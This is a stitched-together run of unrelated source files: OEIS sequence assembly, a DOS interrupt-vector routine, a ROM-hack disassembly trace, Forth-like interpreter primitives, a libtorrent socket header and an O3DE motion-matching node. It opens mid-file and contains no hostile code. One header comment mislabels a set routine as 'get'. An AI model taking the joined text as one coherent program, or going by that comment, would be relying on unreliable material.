AX,AX @BKSEPILOG BKSPEEK _TEXT ENDS END
// Copyright Carl Philipp Reh 2006 - 2019. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef SGE_RENDERER_COLOR_BUFFER_OPTIONAL_SURFACE_REF_HPP_INCLUDED #define SGE_RENDERER_COLOR_BUFFER_OPTIONAL_SURFACE_REF_HPP_INCLUDED #include <sge/renderer/color_buffer/optional_surface_ref_fwd.hpp> #include <fcppt/optional/reference.hpp> #endif
; A124861: Expansion of 1/(1-x-3x^2-4x^3-2x^4). ; 1,1,4,11,29,80,219,597,1632,4459,12181,33280,90923,248405,678656,1854123,5065557,13839360,37809835,103298389,282216448,771029675,2106492245,5755043840,15723072171,42956232021,117358608384 mov $4,2 mov $5,$0 lpb $4 mov $0,$5 sub $4,1 add $0,$4 sub $0,1 cal $0,77846 ; Expansion of 1/(1 - 3*x + 2*x^3). mov $2,$4 mov $3,$0 add $3,$0 add $3,2 div $3,3 mov $6,$3 lpb $2 mov $1,$6 sub $2,1 lpe lpe lpb $5 sub $1,$6 mov $5,0 lpe
page ,132 ;*****************************************************************************; ; ; ; FILE NAME: setvect.asm ; ; ; ; DESCRIPTION: Microsoft C library routine _dos_setvect ; ; ; ; NOTES: ; ; ; ; HISTORY: ; ; 1995/08/23 JFL Created this file. ; ; ; ; (c) Copyright 1995-2017 Hewlett Packard Enterprise Development LP ; ; Licensed under the Apache 2.0 license - www.apache.org/licenses/LICENSE-2.0 ; ;*****************************************************************************; INCLUDE ADEFINE.INC ; For the segment definitions INCLUDE DOS.INC ; For the DOS call macros .CODE ;-----------------------------------------------------------------------------; ; ; ; Function: _dos_setvect ; ; ; ; Description: Get an interrupt vector ; ; ; ; Parameters: AX Interrupt number ; ; DWORD on stack Handler ; ; ; ; Returns: None ; ; ; ; Notes: Unfortunately, the DWORD argument is passed on the stack ; ; by the _fastcall calling convention, and not in BX:DX as ; ; I initially expected. ; ; ; ; Regs altered: AX, DX ; ; ; ; History: ; ; ; ; 1995/08/23 JFL Created this routine ; ; ; ;-----------------------------------------------------------------------------; CFASTPROC _dos_setvect push bp mov bp, sp push ds lds dx, DWORD PTR [bp+4] mov ah, 25H int 21H pop ds pop bp ret 4 ENDCFASTPROC _dos_setvect END
copyright zengfr site:http://github.com/zengfr/romhack 003A0E movem.l D0-D3, -(A6) 003A12 move.w D4, ($4e,A6) 0042BC clr.w ($4,A6) 0042C0 moveq #$0, D0 009ACA dbra D5, $9ac8 057A5C move.l #$2000000, ($2,A6) [weapon+ E, weapon+10] 057A64 clr.b ($42,A6) [weapon+ 2, weapon+ 4] 057B76 move.l #$2040000, ($2,A6) 057B7E move.w ($4c,A6), D1 [weapon+ 2, weapon+ 4] 057C18 move.b #$2, ($4,A6) [weapon+ A, weapon+ C] 057C1E movea.l #$580f2, A1 [weapon+ 4] 057C42 move.b #$2, ($4,A6) [weapon+4A] 057C48 bsr $57dc4 [weapon+ 4] 057CD2 clr.b ($4a,A6) [weapon+ 4] 057D3C clr.w ($4,A6) 057D40 rts 057DBE clr.w ($4,A6) [weapon+ 3] 057DC2 rts 057E4E move.b #$2, ($4,A6) [weapon+4A] 057E54 moveq #$0, D0 [weapon+ 4] 057ED0 move.l #$6000000, ($2,A6) [weapon+4A] 057ED8 rts [weapon+ 2, weapon+ 4] 058B06 move.l #$2000000, ($2,A6) [weapon+ E, weapon+10] 058B0E clr.b ($42,A6) [weapon+ 2, weapon+ 4] 058C18 move.b #$2, ($4,A6) [weapon+ A, weapon+ C] 058C1E movea.l #$59076, A1 [weapon+ 4] 058C46 move.b #$2, ($4,A6) [weapon+4A] 058C4C lea ($3c,PC) ; ($58c8a), A0 [weapon+ 4] 058DE6 clr.w ($4,A6) [weapon+ 3] 058DEA move.b ($3e,A6), ($2e,A6) 058E38 move.b #$2, ($4,A6) 058E3E clr.b ($1e,A6) [weapon+ 4] 058E96 move.w ($e,A6), ($a,A6) [weapon+ 4] 05965C move.l #$2000000, ($2,A6) 059664 move.w ($4c,A6), D1 [weapon+ 2, weapon+ 4] 0596A4 move.b #$2, ($4,A6) [weapon+4A] 0596AA movea.l #$599f4, A1 [weapon+ 4] copyright zengfr site:http://github.com/zengfr/romhack
; A005892: Truncated square numbers: 7*n^2 + 4*n + 1. ; 1,12,37,76,129,196,277,372,481,604,741,892,1057,1236,1429,1636,1857,2092,2341,2604,2881,3172,3477,3796,4129,4476,4837,5212,5601,6004,6421,6852,7297,7756,8229,8716,9217,9732,10261,10804,11361,11932,12517,13116,13729,14356,14997,15652,16321,17004,17701,18412,19137,19876,20629,21396,22177,22972,23781,24604,25441,26292,27157,28036,28929,29836,30757,31692,32641,33604,34581,35572,36577,37596,38629,39676,40737,41812,42901,44004,45121,46252,47397,48556,49729,50916,52117,53332,54561,55804,57061,58332,59617,60916,62229,63556,64897,66252,67621,69004 mov $1,7 mul $1,$0 add $1,4 mul $1,$0 add $1,1 mov $0,$1
defop fexit add esp, ptrsize pop eval_ip ret defop break ret defop literal mov eax, dword [eval_ip] add eval_ip, ptrsize pop ebx push eax push ebx ret defop int32 mov eax, dword [eval_ip] add eval_ip, 4 pop ebx push eax push ebx ret defop int64 mov eax, dword [eval_ip] add eval_ip, 8 pop ebx push eax push ebx ret defop offset32 mov eax, dword [eval_ip] add eax, eval_ip add eval_ip, 4 pop ebx push eax push ebx ret defop offset64 mov eax, dword [eval_ip] add eax, eval_ip add eval_ip, 8 pop ebx push eax push ebx ret defop pointer mov eax, dword [eval_ip] add eval_ip, ptrsize pop ebx push eax push ebx ret defalias string,pointer defalias uint32,int32 defop peek mov eax, [esp+ptrsize] mov eax, [eax] mov [esp+ptrsize], eax ret defop poke pop eax pop ebx ; addr pop ecx ; value mov [ebx], ecx push eax ret defop dup pop ebx mov eax, [esp] push eax push ebx ret defop over pop ebx mov eax, [esp+ptrsize] push eax push ebx ret defop overn pop ebx pop eax imul eax, ptrsize ; add eax, ptrsize add eax, esp mov eax, [eax] push eax push ebx ret defop drop pop ebx pop eax push ebx ret defop dropn pop eax pop ebx imul ebx, ptrsize add esp, ebx push eax ret defop swap mov eax, [esp+ptrsize] mov ebx, [esp+ptrsize*2] mov [esp+ptrsize*2], eax mov [esp+ptrsize], ebx ret defop rot ; ( a b c -- c b a ) mov eax, [esp+ptrsize*1] mov ebx, [esp+ptrsize*3] mov [esp+ptrsize*1], ebx mov [esp+ptrsize*3], eax ret defop roll ; ( a b c -- c a b ) mov eax, [esp+ptrsize*1] mov ebx, [esp+ptrsize*2] mov ecx, [esp+ptrsize*3] mov [esp+ptrsize*1], ebx mov [esp+ptrsize*2], ecx mov [esp+ptrsize*3], eax ret defop eq pop ecx pop ebx pop eax cmp eax, ebx je .equal push 0 push ecx ret .equal: push 1 push ecx ret defop here pop ebx push esp push ebx ret defop stack_allot pop ebx pop eax sub esp, eax push esp push ebx ret defop dict_offset_a imul eax, dict_entry_size add eax, ptrsize add eax, [d_dictionary+dict_entry_data] ret defop dict_entry_index pop ebx pop eax sub eax, ptrsize sub eax, [d_dictionary+dict_entry_data] mov ecx, dict_entry_size mov edx, 0 div ecx push eax push ebx ret defop doconstant pop ebx mov eax, [eax+dict_entry_data] push eax push ebx ret defop dovar pop ebx mov eax, [eax+dict_entry_data] push eax push ebx ret
/* Copyright (c) 2003-2018, Arvid Norberg All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef TORRENT_SOCKET_HPP_INCLUDED #define TORRENT_SOCKET_HPP_INCLUDED #include "libtorrent/config.hpp" #include "libtorrent/aux_/disable_warnings_push.hpp" // if building as Objective C++, asio's template // parameters Protocol has to be renamed to avoid // colliding with keywords #ifdef __OBJC__ #define Protocol Protocol_ #endif #if defined TORRENT_WINDOWS || defined TORRENT_CYGWIN // asio assumes that the windows error codes are defined already #include <winsock2.h> #endif #include <boost/asio/ip/tcp.hpp> #include <boost/asio/ip/udp.hpp> #include <boost/asio/write.hpp> #include <boost/asio/read.hpp> #ifdef __OBJC__ #undef Protocol #endif #if defined TORRENT_BUILD_SIMULATOR #include "simulator/simulator.hpp" #endif #if TORRENT_USE_NETLINK #include <linux/netlink.h> #ifndef SOL_NETLINK #define SOL_NETLINK 270 #endif // NETLINK_NO_ENOBUFS exists at least since android 2.3, but is not exposed #if defined TORRENT_ANDROID && !defined NETLINK_NO_ENOBUFS #define NETLINK_NO_ENOBUFS 5 #endif #endif #include "libtorrent/aux_/disable_warnings_pop.hpp" namespace libtorrent { #if defined TORRENT_BUILD_SIMULATOR using udp = sim::asio::ip::udp; using tcp = sim::asio::ip::tcp; using sim::asio::async_write; using sim::asio::async_read; using null_buffers = sim::asio::null_buffers; #else using tcp = boost::asio::ip::tcp; using udp = boost::asio::ip::udp; using boost::asio::async_write; using boost::asio::async_read; using null_buffers = boost::asio::null_buffers; #endif // internal inline udp::endpoint make_udp(tcp::endpoint const ep) { return {ep.address(), ep.port()}; } // internal inline tcp::endpoint make_tcp(udp::endpoint const ep) { return {ep.address(), ep.port()}; } #ifdef TORRENT_WINDOWS #ifndef PROTECTION_LEVEL_UNRESTRICTED #define PROTECTION_LEVEL_UNRESTRICTED 10 #endif #ifndef IPV6_PROTECTION_LEVEL #define IPV6_PROTECTION_LEVEL 30 #endif struct v6_protection_level { explicit v6_protection_level(int level): m_value(level) {} template<class Protocol> int level(Protocol const&) const { return IPPROTO_IPV6; } template<class Protocol> int name(Protocol const&) const { return IPV6_PROTECTION_LEVEL; } template<class Protocol> int const* data(Protocol const&) const { return &m_value; } template<class Protocol> size_t size(Protocol const&) const { return sizeof(m_value); } int m_value; }; struct exclusive_address_use { explicit exclusive_address_use(int enable): m_value(enable) {} template<class Protocol> int level(Protocol const&) const { return SOL_SOCKET; } template<class Protocol> int name(Protocol const&) const { return SO_EXCLUSIVEADDRUSE; } template<class Protocol> int const* data(Protocol const&) const { return &m_value; } template<class Protocol> size_t size(Protocol const&) const { return sizeof(m_value); } int m_value; }; #endif // TORRENT_WINDOWS #ifdef IPV6_TCLASS struct traffic_class { explicit traffic_class(char val): m_value(val) {} template<class Protocol> int level(Protocol const&) const { return IPPROTO_IPV6; } template<class Protocol> int name(Protocol const&) const { return IPV6_TCLASS; } template<class Protocol> int const* data(Protocol const&) const { return &m_value; } template<class Protocol> size_t size(Protocol const&) const { return sizeof(m_value); } int m_value; }; #endif struct type_of_service { #ifdef _WIN32 using tos_t = DWORD; #else using tos_t = int; #endif explicit type_of_service(char val) : m_value(tos_t(val)) {} template<class Protocol> int level(Protocol const&) const { return IPPROTO_IP; } template<class Protocol> int name(Protocol const&) const { return IP_TOS; } template<class Protocol> tos_t const* data(Protocol const&) const { return &m_value; } template<class Protocol> size_t size(Protocol const&) const { return sizeof(m_value); } tos_t m_value; }; #if defined IP_DONTFRAG || defined IP_MTU_DISCOVER || defined IP_DONTFRAGMENT #define TORRENT_HAS_DONT_FRAGMENT #endif #ifdef TORRENT_HAS_DONT_FRAGMENT // the order of these preprocessor tests matters. Windows defines both // IP_DONTFRAGMENT and IP_MTU_DISCOVER, but the latter is not supported // in general, the simple option of just setting the DF bit is preferred, if // it's available #if defined IP_DONTFRAG || defined IP_DONTFRAGMENT struct dont_fragment { explicit dont_fragment(bool val) : m_value(val) {} template<class Protocol> int level(Protocol const&) const { return IPPROTO_IP; } template<class Protocol> int name(Protocol const&) const #if defined IP_DONTFRAG { return IP_DONTFRAG; } #else // defined IP_DONTFRAGMENT { return IP_DONTFRAGMENT; } #endif template<class Protocol> int const* data(Protocol const&) const { return &m_value; } template<class Protocol> size_t size(Protocol const&) const { return sizeof(m_value); } int m_value; }; #else // this is the fallback mechanism using the IP_MTU_DISCOVER option, which // does a little bit more than we want, it makes the kernel track an estimate // of the MTU and rejects packets immediately if they are believed to exceed // it. struct dont_fragment { explicit dont_fragment(bool val) : m_value(val ? IP_PMTUDISC_DO : IP_PMTUDISC_DONT) {} template<class Protocol> int level(Protocol const&) const { return IPPROTO_IP; } template<class Protocol> int name(Protocol const&) const { return IP_MTU_DISCOVER; } template<class Protocol> int const* data(Protocol const&) const { return &m_value; } template<class Protocol> size_t size(Protocol const&) const { return sizeof(m_value); } int m_value; }; #endif // IP_DONTFRAG vs. IP_MTU_DISCOVER #endif // TORRENT_HAS_DONT_FRAGMENT #if TORRENT_USE_NETLINK struct no_enobufs { explicit no_enobufs(bool val) : m_value(val) {} template<class Protocol> int level(Protocol const&) const { return SOL_NETLINK; } template<class Protocol> int name(Protocol const&) const { return NETLINK_NO_ENOBUFS; } template<class Protocol> int const* data(Protocol const&) const { return &m_value; } template<class Protocol> std::size_t size(Protocol const&) const { return sizeof(m_value); } int m_value; }; #endif // TORRENT_USE_NETLINK } #endif // TORRENT_SOCKET_HPP_INCLUDED
/* * Copyright (c) Contributors to the Open 3D Engine Project. * For complete copyright and license terms please see the LICENSE at the root of this distribution. * * SPDX-License-Identifier: Apache-2.0 OR MIT * */ #include <AzCore/Serialization/EditContext.h> #include <AzCore/Serialization/SerializeContext.h> #include <AzCore/std/smart_ptr/make_shared.h> #include <EMotionFX/Source/AnimGraph.h> #include <EMotionFX/Source/AnimGraphManager.h> #include <EMotionFX/Source/EventManager.h> #include <EMotionFX/Source/Motion.h> #include <BlendTreeMotionMatchNode.h> #include <FeatureSchemaDefault.h> #include <EMotionFX/Source/MotionSet.h> #include <EMotionFX/Source/Node.h> #include <EMotionFX/Source/Recorder.h> #include <EMotionFX/Source/TransformData.h> #include <FeaturePosition.h> namespace EMotionFX::MotionMatching { AZ_CLASS_ALLOCATOR_IMPL(BlendTreeMotionMatchNode, AnimGraphAllocator, 0) AZ_CLASS_ALLOCATOR_IMPL(BlendTreeMotionMatchNode::UniqueData, AnimGraphObjectUniqueDataAllocator, 0) BlendTreeMotionMatchNode::BlendTreeMotionMatchNode() : AnimGraphNode() { // Setup the input ports. InitInputPorts(3); SetupInputPort("Goal Pos", INPUTPORT_TARGETPOS, MCore::AttributeVector3::TYPE_ID, PORTID_INPUT_TARGETPOS); SetupInputPort("Goal Facing Dir", INPUTPORT_TARGETFACINGDIR, MCore::AttributeVector3::TYPE_ID, PORTID_INPUT_TARGETFACINGDIR); SetupInputPort("Use Facing Dir", INPUTPORT_USEFACINGDIR, MCore::AttributeBool::TYPE_ID, PORTID_INPUT_USEFACINGDIR); // Setup the output ports. InitOutputPorts(1); SetupOutputPortAsPose("Output Pose", OUTPUTPORT_POSE, PORTID_OUTPUT_POSE); } BlendTreeMotionMatchNode::~BlendTreeMotionMatchNode() { } bool BlendTreeMotionMatchNode::InitAfterLoading(AnimGraph* animGraph) { if (!AnimGraphNode::InitAfterLoading(animGraph)) { return false; } // Automatically register the default feature schema in case the schema is empty after loading the node. if (m_featureSchema.GetNumFeatures() == 0) { AZStd::string rootJointName; if (m_animGraph->GetNumAnimGraphInstances() > 0) { const Actor* actor = m_animGraph->GetAnimGraphInstance(0)->GetActorInstance()->GetActor(); const Node* rootJoint = actor->GetMotionExtractionNode(); if (rootJoint) { rootJointName = rootJoint->GetNameString(); } } DefaultFeatureSchemaInitSettings defaultSettings; defaultSettings.m_rootJointName = rootJointName.c_str(); defaultSettings.m_leftFootJointName = "L_foot_JNT"; defaultSettings.m_rightFootJointName = "R_foot_JNT"; defaultSettings.m_pelvisJointName = "C_pelvis_JNT"; DefaultFeatureSchema(m_featureSchema, defaultSettings); } InitInternalAttributesForAllInstances(); Reinit(); return true; } const char* BlendTreeMotionMatchNode::GetPaletteName() const { return "Motion Matching"; } AnimGraphObject::ECategory BlendTreeMotionMatchNode::GetPaletteCategory() const { return AnimGraphObject::CATEGORY_SOURCES; } void BlendTreeMotionMatchNode::UniqueData::Update() { AZ_PROFILE_SCOPE(Animation, "BlendTreeMotionMatchNode::UniqueData::Update"); auto animGraphNode = azdynamic_cast<BlendTreeMotionMatchNode*>(m_object); AZ_Assert(animGraphNode, "Unique data linked to incorrect node type."); ActorInstance* actorInstance = m_animGraphInstance->GetActorInstance(); // Clear existing data. delete m_instance; delete m_data; m_data = aznew MotionMatching::MotionMatchingData(animGraphNode->m_featureSchema); m_instance = aznew MotionMatching::MotionMatchingInstance(); MotionSet* motionSet = m_animGraphInstance->GetMotionSet(); if (!motionSet) { SetHasError(true); return; } //--------------------------------- AZ::Debug::Timer timer; timer.Stamp(); // Build a list of motions we want to import the frames from. AZ_Printf("Motion Matching", "Importing motion database..."); MotionMatching::MotionMatchingData::InitSettings settings; settings.m_actorInstance = actorInstance; settings.m_frameImportSettings.m_sampleRate = animGraphNode->m_sampleRate; settings.m_importMirrored = animGraphNode->m_mirror; settings.m_maxKdTreeDepth = animGraphNode->m_maxKdTreeDepth; settings.m_minFramesPerKdTreeNode = animGraphNode->m_minFramesPerKdTreeNode; settings.m_motionList.reserve(animGraphNode->m_motionIds.size()); for (const AZStd::string& id : animGraphNode->m_motionIds) { Motion* motion = motionSet->RecursiveFindMotionById(id); if (motion) { settings.m_motionList.emplace_back(motion); } else { AZ_Warning("Motion Matching", false, "Failed to get motion for motionset entry id '%s'", id.c_str()); } } // Initialize the motion matching data (slow). AZ_Printf("Motion Matching", "Initializing motion matching..."); if (!m_data->Init(settings)) { AZ_Warning("Motion Matching", false, "Failed to initialize motion matching for anim graph node '%s'!", animGraphNode->GetName()); SetHasError(true); return; } // Initialize the instance. AZ_Printf("Motion Matching", "Initializing instance..."); MotionMatching::MotionMatchingInstance::InitSettings initSettings; initSettings.m_actorInstance = actorInstance; initSettings.m_data = m_data; m_instance->Init(initSettings); const float initTime = timer.GetDeltaTimeInSeconds(); const size_t memUsage = m_data->GetFrameDatabase().CalcMemoryUsageInBytes(); AZ_Printf("Motion Matching", "Finished in %.2f seconds (mem usage=%d bytes or %.2f mb)", initTime, memUsage, memUsage / (float)(1024 * 1024)); //--------------------------------- SetHasError(false); } void BlendTreeMotionMatchNode::Update(AnimGraphInstance* animGraphInstance, float timePassedInSeconds) { AZ_PROFILE_SCOPE(Animation, "BlendTreeMotionMatchNode::Update"); m_timer.Stamp(); UniqueData* uniqueData = static_cast<UniqueData*>(FindOrCreateUniqueNodeData(animGraphInstance)); UpdateAllIncomingNodes(animGraphInstance, timePassedInSeconds); uniqueData->Clear(); if (uniqueData->GetHasError()) { m_updateTimeInMs = 0.0f; m_postUpdateTimeInMs = 0.0f; m_outputTimeInMs = 0.0f; return; } AZ::Vector3 targetPos = AZ::Vector3::CreateZero(); TryGetInputVector3(animGraphInstance, INPUTPORT_TARGETPOS, targetPos); AZ::Vector3 targetFacingDir = AZ::Vector3::CreateAxisY(); TryGetInputVector3(animGraphInstance, INPUTPORT_TARGETFACINGDIR, targetFacingDir); bool useFacingDir = GetInputNumberAsBool(animGraphInstance, INPUTPORT_USEFACINGDIR); MotionMatching::MotionMatchingInstance* instance = uniqueData->m_instance; instance->Update(timePassedInSeconds, targetPos, targetFacingDir, useFacingDir, m_trajectoryQueryMode, m_pathRadius, m_pathSpeed); // set the current time to the new calculated time uniqueData->ClearInheritFlags(); if (instance->GetMotionInstance()) { uniqueData->SetPreSyncTime(instance->GetMotionInstance()->GetCurrentTime()); } uniqueData->SetCurrentPlayTime(instance->GetNewMotionTime()); if (uniqueData->GetPreSyncTime() > uniqueData->GetCurrentPlayTime()) { uniqueData->SetPreSyncTime(uniqueData->GetCurrentPlayTime()); } m_updateTimeInMs = m_timer.GetDeltaTimeInSeconds() * 1000.0f; } void BlendTreeMotionMatchNode::PostUpdate(AnimGraphInstance* animGraphInstance, float timePassedInSeconds) { AZ_PROFILE_SCOPE(Animation, "BlendTreeMotionMatchNode::PostUpdate"); AZ_UNUSED(animGraphInstance); AZ_UNUSED(timePassedInSeconds); m_timer.Stamp(); for (AZ::u32 i = 0; i < GetNumConnections(); ++i) { AnimGraphNode* node = GetConnection(i)->GetSourceNode(); node->PerformPostUpdate(animGraphInstance, timePassedInSeconds); } UniqueData* uniqueData = static_cast<UniqueData*>(FindOrCreateUniqueNodeData(animGraphInstance)); MotionMatching::MotionMatchingInstance* instance = uniqueData->m_instance; RequestRefDatas(animGraphInstance); AnimGraphRefCountedData* data = uniqueData->GetRefCountedData(); data->ClearEventBuffer(); data->ZeroTrajectoryDelta(); if (uniqueData->GetHasError()) { return; } MotionInstance* motionInstance = instance->GetMotionInstance(); if (motionInstance) { motionInstance->UpdateByTimeValues(uniqueData->GetPreSyncTime(), uniqueData->GetCurrentPlayTime(), &data->GetEventBuffer()); uniqueData->SetCurrentPlayTime(motionInstance->GetCurrentTime()); } data->GetEventBuffer().UpdateEmitters(this); instance->PostUpdate(timePassedInSeconds); const Transform& trajectoryDelta = instance->GetMotionExtractionDelta(); data->SetTrajectoryDelta(trajectoryDelta); data->SetTrajectoryDeltaMirrored(trajectoryDelta); // TODO: use a real mirrored version here. m_postUpdateTimeInMs = m_timer.GetDeltaTimeInSeconds() * 1000.0f; } void BlendTreeMotionMatchNode::Output(AnimGraphInstance* animGraphInstance) { AZ_PROFILE_SCOPE(Animation, "BlendTreeMotionMatchNode::Output"); AZ_UNUSED(animGraphInstance); m_timer.Stamp(); // Initialize to bind pose. ActorInstance* actorInstance = animGraphInstance->GetActorInstance(); RequestPoses(animGraphInstance); AnimGraphPose* outputPose = GetOutputPose(animGraphInstance, OUTPUTPORT_POSE)->GetValue(); outputPose->InitFromBindPose(actorInstance); if (m_disabled) { return; } UniqueData* uniqueData = static_cast<UniqueData*>(FindOrCreateUniqueNodeData(animGraphInstance)); if (GetEMotionFX().GetIsInEditorMode()) { SetHasError(uniqueData, uniqueData->GetHasError()); } if (uniqueData->GetHasError()) { return; } OutputIncomingNode(animGraphInstance, GetInputNode(INPUTPORT_TARGETPOS)); OutputIncomingNode(animGraphInstance, GetInputNode(INPUTPORT_TARGETFACINGDIR)); MotionMatching::MotionMatchingInstance* instance = uniqueData->m_instance; instance->SetLowestCostSearchFrequency(m_lowestCostSearchFrequency); Pose& outTransformPose = outputPose->GetPose(); instance->Output(outTransformPose); // Performance metrics m_outputTimeInMs = m_timer.GetDeltaTimeInSeconds() * 1000.0f; { #ifdef IMGUI_ENABLED ImGuiMonitorRequestBus::Broadcast(&ImGuiMonitorRequests::PushPerformanceHistogramValue, "Update", m_updateTimeInMs); ImGuiMonitorRequestBus::Broadcast(&ImGuiMonitorRequests::PushPerformanceHistogramValue, "Post Update", m_postUpdateTimeInMs); ImGuiMonitorRequestBus::Broadcast(&ImGuiMonitorRequests::PushPerformanceHistogramValue, "Output", m_outputTimeInMs); #endif } } AZ::Crc32 BlendTreeMotionMatchNode::GetTrajectoryPathSettingsVisibility() const { if (m_trajectoryQueryMode == TrajectoryQuery::MODE_TARGETDRIVEN) { return AZ::Edit::PropertyVisibility::Hide; } return AZ::Edit::PropertyVisibility::Show; } void BlendTreeMotionMatchNode::Reflect(AZ::ReflectContext* context) { AZ::SerializeContext* serializeContext = azrtti_cast<AZ::SerializeContext*>(context); if (!serializeContext) { return; } serializeContext->Class<BlendTreeMotionMatchNode, AnimGraphNode>() ->Version(9) ->Field("sampleRate", &BlendTreeMotionMatchNode::m_sampleRate) ->Field("lowestCostSearchFrequency", &BlendTreeMotionMatchNode::m_lowestCostSearchFrequency) ->Field("maxKdTreeDepth", &BlendTreeMotionMatchNode::m_maxKdTreeDepth) ->Field("minFramesPerKdTreeNode", &BlendTreeMotionMatchNode::m_minFramesPerKdTreeNode) ->Field("mirror", &BlendTreeMotionMatchNode::m_mirror) ->Field("controlSplineMode", &BlendTreeMotionMatchNode::m_trajectoryQueryMode) ->Field("pathRadius", &BlendTreeMotionMatchNode::m_pathRadius) ->Field("pathSpeed", &BlendTreeMotionMatchNode::m_pathSpeed) ->Field("featureSchema", &BlendTreeMotionMatchNode::m_featureSchema) ->Field("motionIds", &BlendTreeMotionMatchNode::m_motionIds) ; AZ::EditContext* editContext = serializeContext->GetEditContext(); if (!editContext) { return; } editContext->Class<BlendTreeMotionMatchNode>("Motion Matching Node", "Motion Matching Attributes") ->ClassElement(AZ::Edit::ClassElements::EditorData, "") ->Attribute(AZ::Edit::Attributes::AutoExpand, "") ->Attribute(AZ::Edit::Attributes::Visibility, AZ::Edit::PropertyVisibility::ShowChildrenOnly) ->DataElement(AZ::Edit::UIHandlers::Default, &BlendTreeMotionMatchNode::m_sampleRate, "Feature sample rate", "The sample rate (in Hz) used for extracting the features from the animations. The higher the sample rate, the more data will be used and the more options the motion matching search has available for the best matching frame.") ->Attribute(AZ::Edit::Attributes::Min, 1) ->Attribute(AZ::Edit::Attributes::Max, 240) ->Attribute(AZ::Edit::Attributes::ChangeNotify, &BlendTreeMotionMatchNode::Reinit) ->DataElement(AZ::Edit::UIHandlers::Default, &BlendTreeMotionMatchNode::m_lowestCostSearchFrequency, "Search frequency", "How often per second we apply the motion matching search and find the lowest cost / best matching frame, and start to blend towards it.") ->Attribute(AZ::Edit::Attributes::Min, 0.001f) ->Attribute(AZ::Edit::Attributes::Max, std::numeric_limits<float>::max()) ->Attribute(AZ::Edit::Attributes::Step, 0.05f) ->DataElement(AZ::Edit::UIHandlers::Default, &BlendTreeMotionMatchNode::m_maxKdTreeDepth, "Max kdTree depth", "The maximum number of hierarchy levels in the kdTree.") ->Attribute(AZ::Edit::Attributes::Min, 1) ->Attribute(AZ::Edit::Attributes::Max, 20) ->Attribute(AZ::Edit::Attributes::ChangeNotify, &BlendTreeMotionMatchNode::Reinit) ->DataElement(AZ::Edit::UIHandlers::Default, &BlendTreeMotionMatchNode::m_minFramesPerKdTreeNode, "Min kdTree node size", "The minimum number of frames to store per kdTree node.") ->Attribute(AZ::Edit::Attributes::Min, 1) ->Attribute(AZ::Edit::Attributes::Max, 100000) ->Attribute(AZ::Edit::Attributes::ChangeNotify, &BlendTreeMotionMatchNode::Reinit) ->DataElement(AZ::Edit::UIHandlers::ComboBox, &BlendTreeMotionMatchNode::m_trajectoryQueryMode, "Trajectory Prediction", "Desired future trajectory generation mode.") ->Attribute(AZ::Edit::Attributes::ChangeNotify, AZ::Edit::PropertyRefreshLevels::EntireTree) ->EnumAttribute(TrajectoryQuery::MODE_TARGETDRIVEN, "Target-driven") ->EnumAttribute(TrajectoryQuery::MODE_AUTOMATIC, "Automatic (Demo)") ->DataElement(AZ::Edit::UIHandlers::Default, &BlendTreeMotionMatchNode::m_pathRadius, "Path radius", "") ->Attribute(AZ::Edit::Attributes::Visibility, &BlendTreeMotionMatchNode::GetTrajectoryPathSettingsVisibility) ->Attribute(AZ::Edit::Attributes::Min, 0.0001f) ->Attribute(AZ::Edit::Attributes::Max, std::numeric_limits<float>::max()) ->Attribute(AZ::Edit::Attributes::Step, 0.01f) ->DataElement(AZ::Edit::UIHandlers::Default, &BlendTreeMotionMatchNode::m_pathSpeed, "Path speed", "") ->Attribute(AZ::Edit::Attributes::Visibility, &BlendTreeMotionMatchNode::GetTrajectoryPathSettingsVisibility) ->Attribute(AZ::Edit::Attributes::Min, 0.0001f) ->Attribute(AZ::Edit::Attributes::Max, std::numeric_limits<float>::max()) ->Attribute(AZ::Edit::Attributes::Step, 0.01f) ->DataElement(AZ::Edit::UIHandlers::Default, &BlendTreeMotionMatchNode::m_featureSchema, "FeatureSchema", "") ->Attribute(AZ::Edit::Attributes::AutoExpand, "") ->Attribute(AZ::Edit::Attributes::Visibility, AZ::Edit::PropertyVisibility::ShowChildrenOnly) ->Attribute(AZ::Edit::Attributes::ChangeNotify, &BlendTreeMotionMatchNode::Reinit) ->DataElement(AZ_CRC_CE("MotionSetMotionIds"), &BlendTreeMotionMatchNode::m_motionIds, "Motions", "") ->Attribute(AZ::Edit::Attributes::ChangeNotify, &BlendTreeMotionMatchNode::Reinit) ->Attribute(AZ::Edit::Attributes::ContainerCanBeModified, false) ->Attribute(AZ::Edit::Attributes::Visibility, AZ::Edit::PropertyVisibility::HideChildren) ; } } // namespace EMotionFX::MotionMatching
